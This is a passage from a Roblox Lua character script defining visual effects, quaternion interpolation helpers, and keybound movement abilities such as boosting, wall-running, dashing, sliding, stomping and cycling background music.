WaveEffect(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay) local prt = CreatePart(workspace, "Neon", 0, 0, brickcolor, "Effect", Vector3.new()) prt.Anchored = true prt.CFrame = cframe local msh = CreateMesh("SpecialMesh", prt, "FileMesh", "rbxassetid://20329976", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1)) game:GetService("Debris"):AddItem(prt, 10) table.insert(Effects, { prt, "Cylinder", delay, x3, y3, z3, msh }) end function SpecialEffect(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay) local prt = CreatePart(workspace, "Neon", 0, 0, brickcolor, "Effect", Vector3.new()) prt.Anchored = true prt.CFrame = cframe local msh = CreateMesh("SpecialMesh", prt, "FileMesh", "rbxassetid://24388358", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1)) game:GetService("Debris"):AddItem(prt, 10) table.insert(Effects, { prt, "Cylinder", delay, x3, y3, z3, msh }) end function MoonEffect(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay) local prt = CreatePart(workspace, "Neon", 0, 0, brickcolor, "Effect", Vector3.new()) prt.Anchored = true prt.CFrame = cframe local msh = CreateMesh("SpecialMesh", prt, "FileMesh", "rbxassetid://259403370", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1)) game:GetService("Debris"):AddItem(prt, 10) table.insert(Effects, { prt, "Cylinder", delay, x3, y3, z3, msh }) end function HeadEffect(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay) local prt = CreatePart(workspace, "Neon", 0, 0, brickcolor, "Effect", Vector3.new()) prt.Anchored = true prt.CFrame = cframe local msh = CreateMesh("SpecialMesh", prt, "Head", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1)) game:GetService("Debris"):AddItem(prt, 10) table.insert(Effects, { prt, "Cylinder", delay, x3, y3, z3, msh }) end function BreakEffect(brickcolor, cframe, x1, y1, z1) local prt = CreatePart(workspace, "Neon", 0, 0, brickcolor, "Effect", Vector3.new(0.5, 0.5, 0.5)) prt.Anchored = true prt.CFrame = cframe * CFrame.fromEulerAnglesXYZ(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) local msh = CreateMesh("SpecialMesh", prt, "Sphere", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1)) local num = math.random(10, 50) / 1000 game:GetService("Debris"):AddItem(prt, 10) table.insert(Effects, { prt, "Shatter", num, prt.CFrame, math.random() - math.random(), 0, math.random(50, 100) / 100 }) end local lerp = function(a, b, t) return a * (1 - t) + b * t end function clerp(a,b,t) local qa = {QuaternionFromCFrame(a)} local qb = {QuaternionFromCFrame(b)} local ax, ay, az = a.x, a.y, a.z local bx, by, bz = b.x, b.y, b.z local _t = 1-t return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t)) end function QuaternionFromCFrame(cf) local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components() local trace = m00 + m11 + m22 if trace > 0 then local s = math.sqrt(1 + trace) local recip = 0.5/s return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5 else local i = 0 if m11 > m00 then i = 1 end if m22 > (i == 0 and m00 or m11) then i = 2 end if i == 0 then local s = math.sqrt(m00-m11-m22+1) local recip = 0.5/s return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip elseif i == 1 then local s = math.sqrt(m11-m22-m00+1) local recip = 0.5/s return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip elseif i == 2 then local s = math.sqrt(m22-m00-m11+1) local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip end end end function QuaternionToCFrame(px, py, pz, x, y, z, w) local xs, ys, zs = x + x, y + y, z + z local wx, wy, wz = w*xs, w*ys, w*zs local xx = x*xs local xy = x*ys local xz = x*zs local yy = y*ys local yz = y*zs local zz = z*zs return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy)) end function QuaternionSlerp(a, b, t) local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4] local startInterp, finishInterp; if cosTheta >= 0.0001 then if (1 - cosTheta) > 0.0001 then local theta = math.acos(cosTheta) local invSinTheta = 1/math.sin(theta) startInterp = math.sin((1-t)*theta)*invSinTheta finishInterp = math.sin(t*theta)*invSinTheta else startInterp = 1-t finishInterp = t end else if (1+cosTheta) > 0.0001 then local theta = math.acos(-cosTheta) local invSinTheta = 1/math.sin(theta) startInterp = math.sin((t-1)*theta)*invSinTheta finishInterp = math.sin(t*theta)*invSinTheta else startInterp = t-1 finishInterp = t end end return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp end function weld5(part0, part1, c0, c1) weeld=Instance.new("Weld", part0) weeld.Part0=part0 weeld.Part1=part1 weeld.C0=c0 weeld.C1=c1 return weeld end --Example: Torso.Weld.C0 = clerp(Torso.Weld.C0, CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4) function rayCast(Pos, Dir, Max, Ignore) -- Origin Position , Direction, MaxDistance , IgnoreDescendants return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore) end local f = 0 local b = Instance.new("BlurEffect",cam) local c = Instance.new('PointLight', Torso) c.Range = 16 c.Color = Color3.new(0, 1,1) c.Brightness = 1.5 game:GetService("RunService"):BindToRenderStep("W0tT", 0, function() b.Size = b.Size - 4 if boost == true then c.Enabled = true cam.FieldOfView = lerp(cam.FieldOfView, 110, 0.5) -- cam.FieldOfView = 110 freefall = 0 Humanoid.CameraOffset = Humanoid.CameraOffset:lerp(Vector3.new(0,0,3),0.25) SphereEffect(BrickColor.new("Cyan"),RightLeg.CFrame*CFrame.new(0,-1,0)*angles(math.random(-180,180),math.random(-180,180),math.random(-180,180)),1.4,12,1.4,2.8,26,2.8,0.07) SphereEffect(BrickColor.new("Cyan"),LeftLeg.CFrame*CFrame.new(0,-1,0)*angles(math.random(-180,180),math.random(-180,180),math.random(-180,180)),1.4,12,1.4,2.8,26,2.8,0.07) if hitfloor ~= nil and Anim ~= "runIdle" then SpecialEffect(BrickColor.new("Cyan"),RootPart.CFrame*CFrame.new(0,-3.4,.78) ,2,2,2, 1.5,1.5,1.5,.09) end end if boost == false then cam.FieldOfView = lerp(cam.FieldOfView, 70, 0.076) --cam.FieldOfView = 70 c.Enabled = false end end) mouse.KeyDown:connect(function(key) if string.byte(key) == 48 then b.Size = 40 Swing = 2 freefall = 0 coroutine.resume(coroutine.create(function() for i = 0,1,0.1 do swait() Humanoid.CameraOffset = Humanoid.CameraOffset:lerp(Vector3.new(math.random(-0.35*1.8,0.35*1.8),math.random(-0.35*1.8,0.35*1.8),math.random(-0.35*1.8,0.35*1.8)),0.24) end end)) Humanoid.WalkSpeed = 180 RootPart.Velocity = RootPart.CFrame.lookVector*150 RingEffect(BrickColor.new("Cyan"), RootPart.CFrame*CFrame.new(0,0,-9.2) , 1, 1, 1, 8, 8, 8, 0.14,"Neon") boost = true boostsound:Play() end end) mouse.KeyUp:connect(function(key) if string.byte(key) == 48 then Swing = 1 Humanoid.WalkSpeed = 64 boost = false boostsound:Stop() end end) mouse.KeyDown:connect(function(key) if string.byte(key) == 50 then b.Size = 40 freefall = 0 Swing = 2 coroutine.resume(coroutine.create(function() for i = 0,1,0.1 do swait() Humanoid.CameraOffset = Humanoid.CameraOffset:lerp(Vector3.new(math.random(-0.35*2.8,0.35*2.8),math.random(-0.35*2.8,0.35*2.8),math.random(-0.35*2.8,0.35*2.8)),0.48) end end)) Humanoid.WalkSpeed = 320 RootPart.Velocity = RootPart.CFrame.lookVector*550 RingEffect(BrickColor.new("Cyan"), RootPart.CFrame*CFrame.new(0,0,-9.2) , 1, 1, 1, 18, 18, 18, 0.14,"Neon") RingEffect(BrickColor.new("White"), RootPart.CFrame*CFrame.new(0,0,-11.2) , 1, 1, 1, 18, 18, 18, 0.14,"Neon") RingEffect(BrickColor.new("Cyan"), RootPart.CFrame*CFrame.new(0,0,-13.2) , 1, 1, 1, 18, 18, 18, 0.14,"Neon") boost = true boostsound:Play() end end) mouse.KeyUp:connect(function(key) if string.byte(key) == 50 then Swing = 1 Humanoid.WalkSpeed = 64 boost = false boostsound:Stop() end end) local lastwall = nil local jumped = false local vwall = false mouse.KeyDown:connect(function(key) if key == 'b' and hitfloor == nil and attack == false then vrun() end end) function vrun() local ray = Ray.new( RootPart.CFrame.p, RootPart.CFrame.lookVector *2.5 ) local hit, position, normal = workspace:FindPartOnRay(ray, character) if hit then if hit.Parent.Parent ~= Character and hit.Parent ~= Character and hit.Name ~= "prt" and hit.CanCollide == true then vwall = true local NV = Vector3.new(0,0,0) local spd = Vector3.new(RootPart.Velocity.x,0,RootPart.Velocity.z).magnitude + 10 local dir = Vector3.new(RootPart.Velocity.x,0,RootPart.Velocity.z).unit local GravPoint = RootPart.Velocity.y local velo = Instance.new("BodyVelocity",Torso) velo.MaxForce = Vector3.new(400000,400000,400000) attack = true while vwall == true and ray and hit do swait() change = 0.84+ Humanoid.WalkSpeed/132 if Humanoid.WalkSpeed > 40 and Humanoid.WalkSpeed < 70 then velo.Velocity = Vector3.new(0,40,0) end if Humanoid.WalkSpeed > 70 and Humanoid.WalkSpeed < 200 then velo.Velocity = Vector3.new(0,80,0) end if Humanoid.WalkSpeed > 200 then velo.Velocity = Vector3.new(0,130,0) end ray = Ray.new( RootPart.CFrame.p, RootPart.CFrame.lookVector *2.5 ) hit, position, normal = workspace:FindPartOnRay(ray, character) Torso.Weld.C0 = clerp(Torso.Weld.C0, CFrame.new(0, -1-0.52*math.cos(sine/2), .6) * angles(math.rad(96), math.rad(0), math.rad(0)+ RootPart.RotVelocity.Y / 26), .1) Torso.Neck.C0 = clerp(Torso.Neck.C0,necko *angles(math.rad(-11+20*math.sin(sine/2)),math.rad(0),math.rad(0+5*math.sin(sine/4)) + RootPart.RotVelocity.Y / 13),.1) RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0.1) * angles(math.rad(-90-7*math.sin(sine/4))+ RootPart.RotVelocity.Y / -34, math.rad(0), math.rad(15+2*math.sin(sine/4))- RootPart.RotVelocity.Y / 34),.15) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0.1)*angles(math.rad(-90-7*math.sin(sine/4))+ RootPart.RotVelocity.Y / 34,math.rad(0),math.rad(-15+2*math.sin(sine/4))+ RootPart.RotVelocity.Y / -34),.15) LeftLeg.Weld.C0 = clerp(LeftLeg.Weld.C0, CFrame.new(-0.5, -1+0.28*math.cos(sine/4), 0-0.32*math.cos(sine/4)) * CFrame.Angles(math.rad(0+104*math.sin(sine/4)), math.rad(0)+ RootPart.RotVelocity.Y / 42, math.rad(0)+ RootPart.RotVelocity.Y / -54), 0.3+ Humanoid.WalkSpeed/272) RightLeg.Weld.C0 = clerp(RightLeg.Weld.C0, CFrame.new(0.5, -1-0.28*math.cos(sine/4),0+0.32*math.cos(sine/4)) * CFrame.Angles(math.rad(0-104*math.sin(sine/4)), math.rad(0)+ RootPart.RotVelocity.Y / 42, math.rad(0)- RootPart.RotVelocity.Y / 54), 0.3+ Humanoid.WalkSpeed/272) end velo:Destroy() wait(0.07) if vwall == false then RootPart.Velocity = -RootPart.CFrame.lookVector*68 + Vector3.new(0,86,0) --[[] for i = 0,5,0.2 do rs:wait() Torso.Weld.C0 = clerp(Torso.Weld.C0, CFrame.new(0, -0.79, 0) * CFrame.Angles(math.rad(0+100*i), math.rad(0), math.rad(0)), 0.2) Torso.Neck.C0 = clerp(Torso.Neck.C0,necko *angles(math.rad(20),math.rad(0),math.rad(0)),.2) RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0) * angles(math.rad(180), math.rad(-60), math.rad(40)),.2) LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.5, 0) * angles(math.rad(180), math.rad(60), math.rad(-40)),.2) LeftLeg.Weld.C0 = clerp(LeftLeg.Weld.C0, CFrame.new(-0.5, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.2) RightLeg.Weld.C0 = clerp(RightLeg.Weld.C0, CFrame.new(0.5, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.2) end ]] for i = 0,4,0.1 do swait() Humanoid.CameraOffset = Vector3.new(0,0,0) Torso.Weld.C0 = clerp(Torso.Weld.C0, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0+260*i), math.rad(0), math.rad(0)), 0.6) Torso.Neck.C0 = clerp(Torso.Neck.C0,necko *angles(math.rad(70),math.rad(0),math.rad(0)),.1) RW.C0 = clerp(RW.C0, CFrame.new(.7, -0.22, -0.5) * angles(math.rad(90), math.rad(0), math.rad(-90)), 0.1) LW.C0 = clerp(LW.C0, CFrame.new(-.7, -0.22, -0.5) * angles(math.rad(90), math.rad(0), math.rad(90)), 0.1) LeftLeg.Weld.C0 = clerp(LeftLeg.Weld.C0, CFrame.new(-0.5, -.34, -0.7) * CFrame.Angles(math.rad(-25), math.rad(0), math.rad(0)), 0.1) RightLeg.Weld.C0 = clerp(RightLeg.Weld.C0, CFrame.new(0.5, -.34, -0.7) * CFrame.Angles(math.rad(-25), math.rad(0), math.rad(0)), 0.1) end attack = false end if vwall == true then RootPart.Velocity = RootPart.CFrame.lookVector*38 + Vector3.new(0,86,0) --[[] for i = 0,5,0.2 do rs:wait() Torso.Weld.C0 = clerp(Torso.Weld.C0, CFrame.new(0, -0.79, 0) * CFrame.Angles(math.rad(0+100*i), math.rad(0), math.rad(0)), 0.2) Torso.Neck.C0 = clerp(Torso.Neck.C0,necko *angles(math.rad(20),math.rad(0),math.rad(0)),.2) RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0) * angles(math.rad(180), math.rad(-60), math.rad(40)),.2) LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.5, 0) * angles(math.rad(180), math.rad(60), math.rad(-40)),.2) LeftLeg.Weld.C0 = clerp(LeftLeg.Weld.C0, CFrame.new(-0.5, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.2) RightLeg.Weld.C0 = clerp(RightLeg.Weld.C0, CFrame.new(0.5, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.2) end ]] for i = 0,4,0.15 do swait() Humanoid.CameraOffset = Vector3.new(0,0,0) Torso.Weld.C0 = clerp(Torso.Weld.C0, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0-260*i), math.rad(0), math.rad(0)), 0.6) Torso.Neck.C0 = clerp(Torso.Neck.C0,necko *angles(math.rad(70),math.rad(0),math.rad(0)),.1) RW.C0 = clerp(RW.C0, CFrame.new(.7, -0.22, -0.5) * angles(math.rad(90), math.rad(0), math.rad(-90)), 0.1) LW.C0 = clerp(LW.C0, CFrame.new(-.7, -0.22, -0.5) * angles(math.rad(90), math.rad(0), math.rad(90)), 0.1) LeftLeg.Weld.C0 = clerp(LeftLeg.Weld.C0, CFrame.new(-0.5, -.34, -0.7) * CFrame.Angles(math.rad(-25), math.rad(0), math.rad(0)), 0.1) RightLeg.Weld.C0 = clerp(RightLeg.Weld.C0, CFrame.new(0.5, -.34, -0.7) * CFrame.Angles(math.rad(-25), math.rad(0), math.rad(0)), 0.1) end attack = false end end end end mouse.KeyUp:connect(function(key) if key == 'b' and vwall == true then vwall = false end end) function Ldash() evadecooldown = true attack = true k = math.random(1,2) if k == 1 then so("http://www.roblox.com/asset/?id=807766310", Head, 2.5, 1) else so("http://www.roblox.com/asset/?id=807768137", Head, 2.5, 1) end --+173.8*i for i = 0,.7,0.1 do swait() Head.Velocity = Head.CFrame.rightVector * -135 Torso.Weld.C0 = clerp(Torso.Weld.C0, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(32)), 0.2) Torso.Neck.C0 = clerp(Torso.Neck.C0,necko *angles(math.rad(0),math.rad(-9),math.rad(-14)),.2) RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, -0.2) * angles(math.rad(27), math.rad(0), math.rad(30)),.2) LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.5, 0) * angles(math.rad(30), math.rad(0), math.rad(30)),.2) LeftLeg.Weld.C0 = clerp(LeftLeg.Weld.C0, CFrame.new(-0.5, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(12)), 0.2) RightLeg.Weld.C0 = clerp(RightLeg.Weld.C0, CFrame.new(0.5, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(8)), 0.2) end attack = false wait(0.08) evadecooldown = false end function Rdash() evadecooldown = true attack = true k = math.random(1,2) if k == 1 then so("http://www.roblox.com/asset/?id=807766310", Head, 2.5, 1) else so("http://www.roblox.com/asset/?id=807768137", Head, 2.5, 1) end --+173.8*i for i = 0,.7,0.1 do swait() Head.Velocity = Head.CFrame.rightVector * 135 Torso.Weld.C0 = clerp(Torso.Weld.C0, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-32)), 0.2) Torso.Neck.C0 = clerp(Torso.Neck.C0,necko *angles(math.rad(0),math.rad(9),math.rad(14)),.2) RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0) * angles(math.rad(30), math.rad(0), math.rad(-30)),.2) LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.5, -0.2) * angles(math.rad(27), math.rad(0), math.rad(-30)),.2) LeftLeg.Weld.C0 = clerp(LeftLeg.Weld.C0, CFrame.new(-0.5, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-8)), 0.2) RightLeg.Weld.C0 = clerp(RightLeg.Weld.C0, CFrame.new(0.5, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-12)), 0.2) end attack = false wait(0.08) evadecooldown = false end local sliding = false function Slide() local spd = Vector3.new(RootPart.Velocity.x,0,RootPart.Velocity.z).magnitude + 10 spd = spd + 30 local dir = Vector3.new(RootPart.Velocity.x,0,RootPart.Velocity.z).unit local GravPoint = RootPart.Velocity.y if spd > 40 and hitfloor ~= nil then noleg = true attack = true k = math.random(1,2) if k == 1 then so("http://www.roblox.com/asset/?id=807766310", Head, 2.5, 1) else so("http://www.roblox.com/asset/?id=807768137", Head, 2.5, 1) end local NV = Vector3.new(0,0,0) local bv = Instance.new("BodyVelocity", Torso) bv.maxForce = Vector3.new(1/0,1/0,1/0) bv.velocity = dir*spd local bg = Instance.new("BodyGyro", Torso) bg.maxTorque = Vector3.new(1/0,1/0,1/0) bg.cframe = CFrame.new(NV, dir) * CFrame.Angles(math.pi/2.2,0.24,0) headsunsound.SoundId = "rbxassetid://1295468446" headsunsound.TimePosition = 0 Humanoid.PlatformStand = true while spd > 2 and hitfloor ~= nil and sliding == true do swait() spd = spd - 0.95 bv.velocity = dir*spd + Vector3.new(0,0,0) bg.cframe = CFrame.new(NV, dir) * CFrame.Angles(math.pi/2.2,0.24,0) Torso.Weld.C0 = clerp(Torso.Weld.C0, CFrame.new(0, -2.3, 0) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(12)), 0.2) Torso.Neck.C0 = clerp(Torso.Neck.C0,necko *angles(math.rad(34),math.rad(0),math.rad(12)),.2) RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0) * angles(math.rad(110), math.rad(0), math.rad(70)),.2) LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.5, -0.2) * angles(math.rad(0), math.rad(0), math.rad(-60)),.2) LeftLeg.Weld.C0 = clerp(LeftLeg.Weld.C0, CFrame.new(-0.5, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.2) RightLeg.Weld.C0 = clerp(RightLeg.Weld.C0, CFrame.new(0.5, -0.56, -0.2) * CFrame.Angles(math.rad(-24), math.rad(0), math.rad(0)), 0.2) end bv:Destroy() bg:Destroy() headsunsound.SoundId = "rbxassetid://758199523" headsunsound.TimePosition = 0 Humanoid.PlatformStand = false attack = false sliding = false wait(0.05) evadecooldown = false end end function land() attack = true RootPart.Velocity = Vector3.new(0,0,0) WaveEffect(BrickColor.new("Cyan"), RootPart.CFrame*CFrame.new(0,-1,0) , 1, 1, 1, 3, 0.8, 3, 0.06) so("http://www.roblox.com/asset/?id=1295424585", Torso, 3.5, 1) coroutine.resume(coroutine.create(function() for i = 0,1,0.1 do swait() Humanoid.CameraOffset = Humanoid.CameraOffset:lerp(Vector3.new(math.random(-0.55*2.8,0.55*2.8),math.random(-0.55*2.8,0.55*2.8),math.random(-0.55*2.8,0.55*2.8)),0.44) Torso.Weld.C0 = clerp(Torso.Weld.C0, CFrame.new(0, -2, 0) * CFrame.Angles(math.rad(-16), math.rad(0), math.rad(0)), 0.5) Torso.Neck.C0 = clerp(Torso.Neck.C0,necko *angles(math.rad(7),math.rad(0),math.rad(0)),.5) RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0) * angles(math.rad(0), math.rad(0), math.rad(87)),.5) LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.5, -0) * angles(math.rad(0), math.rad(0), math.rad(-87)),.5) LeftLeg.Weld.C0 = clerp(LeftLeg.Weld.C0, CFrame.new(-0.5, 0, -0.5) * CFrame.Angles(math.rad(16), math.rad(0), math.rad(0)), 0.5) RightLeg.Weld.C0 = clerp(RightLeg.Weld.C0, CFrame.new(0.5, -1.14, 0.2) * CFrame.Angles(math.rad(-17), math.rad(0), math.rad(0)), 0.5) end attack = false end)) end function stomp() attack = true stompsound:Play() while hitfloor == nil do swait() b.Size = 12 WaveEffect(BrickColor.new("Cyan"), LeftLeg.CFrame*CFrame.new(0,-2.4,0) , 1, 1, 1, 0.8, 0.8, 0.8, 0.14) RootPart.Velocity = Vector3.new(0,RootPart.Velocity.y/1.6,0) +Vector3.new(0,-150,0) Humanoid.CameraOffset = Humanoid.CameraOffset:lerp(Vector3.new(0,0,0),0.15) Torso.Weld.C0 = clerp(Torso.Weld.C0, CFrame.new(0, -1, 0.2) * CFrame.Angles(math.rad(0+4*math.sin(sine/1.3)), math.rad(0), math.rad(0)),0.07) RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.65, 0) * angles(math.rad(0), math.rad(0), math.rad(140+12*math.cos(sine/1.3))), 0.07) LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.65, 0) * angles(math.rad(0), math.rad(0), math.rad(-140+12*math.cos(sine/1.3))), 0.07) Torso.Neck.C0 = clerp(Torso.Neck.C0,necko *angles(math.rad(60+7*math.sin(sine/1.3)),math.rad(0),math.rad(0)),0.07) LeftLeg.Weld.C0 = clerp(LeftLeg.Weld.C0, CFrame.new(-0.5, -1+0.17*math.cos(sine/1.3), -0.13) * CFrame.Angles(math.rad(0+4*math.cos(sine/1.3)), math.rad(3), math.rad(0)), 0.1) RightLeg.Weld.C0 = clerp(RightLeg.Weld.C0, CFrame.new(0.5, .27+0.17*math.cos(sine/1.3), -0.56) * CFrame.Angles(math.rad(-12+4*math.cos(sine/1.3)), math.rad(0), math.rad(0)), 0.1) end stompsound:Stop() land() end function changemusic() musicnum = musicnum + 1 music.TimePosition = 0 local osix = false local spd = Vector3.new(RootPart.Velocity.x,0,RootPart.Velocity.z).magnitude if musicnum > 14 then musicnum = 1 end if musicnum == 1 then music.SoundId = "rbxassetid://179029173" end if musicnum == 2 then music.SoundId = "rbxassetid://146443855" end if musicnum == 3 then music.SoundId = "rbxassetid://1342408291" end if musicnum == 4 then music.SoundId = "rbxassetid://201219416" end if musicnum == 5 then music.SoundId = "rbxassetid://1390472571" end if musicnum == 6 then osix = true music.SoundId = "rbxassetid://249974783" end if musicnum == 7 then music.SoundId = "rbxassetid://1851880603" end if musicnum == 8 then music.SoundId = "rbxassetid://412034984" end if musicnum == 9 then music.SoundId = "rbxassetid://536915629" end if musicnum == 10 then music.SoundId = "rbxassetid://1200005861" end if musicnum == 11 then music.SoundId = "rbxassetid://1055930631" end if musicnum == 12 then music.SoundId = "rbxassetid://300269553" end if musicnum == 13 then music.SoundId = "rbxassetid://199897052" end if musicnum == 14 then music.SoundId = "rbxassetid://638115895" end if spd < 14 then Humanoid.Jump = true if osix == false then so("rbxassetid://537371462",RootPart,2,1) end RootPart.Velocity = Vector3.new(0,102,0) attack = true wait(0.08) for i = 0,7,0.1 do swait() RootPart.Velocity = Vector3.new(0,2,0) Humanoid.CameraOffset = Vector3.new(0,0,0) Torso.Weld.C0 = clerp(Torso.Weld.C0, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0-260*i), math.rad(0), math.rad(0)), 0.6) Torso.Neck.C0 = clerp(Torso.Neck.C0,necko *angles(math.rad(70),math.rad(0),math.rad(0)),.1) RW.C0 = clerp(RW.C0, CFrame.new(.7, -0.22, -0.5) * angles(math.rad(90), math.rad(0), math.rad(-90)), 0.1) LW.C0 = clerp(LW.C0, CFrame.new(-.7, -0.22, -0.5) * angles(math.rad(90), math.rad(0), math.rad(90)), 0.1) LeftLeg.Weld.C0 = clerp(LeftLeg.Weld.C0, CFrame.new(-0.5, -.34, -0.7) * CFrame.Angles(math.rad(-25), math.rad(0), math.rad(0)), 0.1) RightLeg.Weld.C0 = clerp(RightLeg.Weld.C0, CFrame.new(0.5, -.34, -0.7) * CFrame.Angles(math.rad(-25), math.rad(0), math.rad(0)), 0.1) end b.Size = 40 MoonEffect(BrickColor.new("Cyan"), RootPart.CFrame*CFrame.new(0,0,0) , 1, 1, 1, 8, 8, 8, 0.06) if osix == true then osix = false so("rbxassetid://156821036",RootPart,2,1) end Torso.Weld.C0 = clerp(Torso.Weld.C0, CFrame.new(0, -3, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 1) for i = 0,5,0.1 do swait() RootPart.Velocity = Vector3.new(0,3.5,0) Humanoid.CameraOffset = Vector3.new(0,0,0) Torso.Weld.C0 = clerp(Torso.Weld.C0, CFrame.new(0, -1+0.1*i, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.21) Torso.Neck.C0 = clerp(Torso.Neck.C0,necko *angles(math.rad(22-2*i),math.rad(0),math.rad(0)),.21) RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5+0.09*i, 0) * angles(math.rad(20-6*i), math.rad(0), math.rad(90+13*i)), 0.21) LW.C0 = clerp(LW.C0, CFrame.new(-1.0-0.12*i, 0.5, -0.4+0.05*i) * angles(math.rad(20+13*i), math.rad(0), math.rad(20-13*i)), 0.21) LeftLeg.Weld.C0 = clerp(LeftLeg.Weld.C0, CFrame.new(-0.5, -1, 0) * CFrame.Angles(math.rad(45+6*i), math.rad(0), math.rad(-22-4*i)), 0.21) RightLeg.Weld.C0 = clerp(RightLeg.Weld.C0, CFrame.new(0.5, -1, 0) * CFrame.Angles(math.rad(45+6*i), math.rad(0), math.rad(22+4*i)), 0.21) end attack = false end end mouse.KeyDown:connect(function(key) if key == 'q' and attack == false and evadecooldown == false then Ldash() end end) mouse.KeyDown:connect(function(key) if key == 'e' and attack == false and evadecooldown == false then Rdash() end end) mouse.KeyDown:connect(function(key) if key == 'c' and attack == false and evadecooldown == false and hitfloor ~= nil then sliding = true Slide() end end) mouse.KeyDown:connect(function(key) if key == 'c' and attack == false and hitfloor == nil then stomp() end end) local walljump = false function walljumpp() local ray = Ray.new( Torso.CFrame.p, RootPart.CFrame.lookVector *5 ) local hit, position, normal = workspace:FindPartOnRay(ray, character) if hit then if hit.Parent.Parent ~= Character and hit.Parent ~= Character then local dir = Vector3.new(RootPart.Velocity.x,0,RootPart.Velocity.z).unit GravPoint = 0 freefall = 0 walljump = true Humanoid.AutoRotate = false local velo = Instance.new("BodyVelocity",Torso) velo.MaxForce = Vector3.new(400000,400000,400000) --game.Debris:AddItem(velo,0.1) attack = true while hitfloor == nil and walljump == true and ray and hit do swait() freefall = 0 GravPoint = GravPoint - 0.36 ray = Ray.new( RootPart.CFrame.p, RootPart.CFrame.lookVector *2.5 ) hit, position, normal = workspace:FindPartOnRay(ray, character) velo.Velocity = vt(0,GravPoint,0) Torso.Weld.C0 = clerp(Torso.Weld.C0, CFrame.new(0, -1, 0.9) * CFrame.Angles(math.rad(5), math.rad(90), math.rad(8)), 0.2) Torso.Neck.C0 = clerp(Torso.Neck.C0,necko *angles(math.rad(7),math.rad(0),math.rad(86)),.2) RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0) * angles(math.rad(0), math.rad(0), math.rad(120)),.2) LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.5, 0) * angles(math.rad(0), math.rad(0), math.rad(-60)),.2) LeftLeg.Weld.C0 = clerp(LeftLeg.Weld.C0, CFrame.new(-0.5, -1, 0) * CFrame.Angles(math.rad(-6), math.rad(14), math.rad(-12)), 0.2) RightLeg.Weld.C0 = clerp(RightLeg.Weld.C0, CFrame.new(0.5, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(23)), 0.2) end if walljump == false then k = math.random(1,3) if k == 1 then so("http://www.roblox.com/asset/?id=800121776", Head, 2.5, 1) else if k == 2 then so("http://www.roblox.com/asset/?id=804889329", Head, 2.5, 1) else if k == 3 then so("http://www.roblox.com/asset/?id=804907617", Head, 2.5, 1) end end end velo:Destroy() attack = false coroutine.resume(coroutine.create(function() for i = 0,1,0.1 do swait() Humanoid.CameraOffset = Vector3.new(0,0,0) Torso.Weld.C0 = clerp(Torso.Weld.C0, CFrame.new(0, -1, 0) * 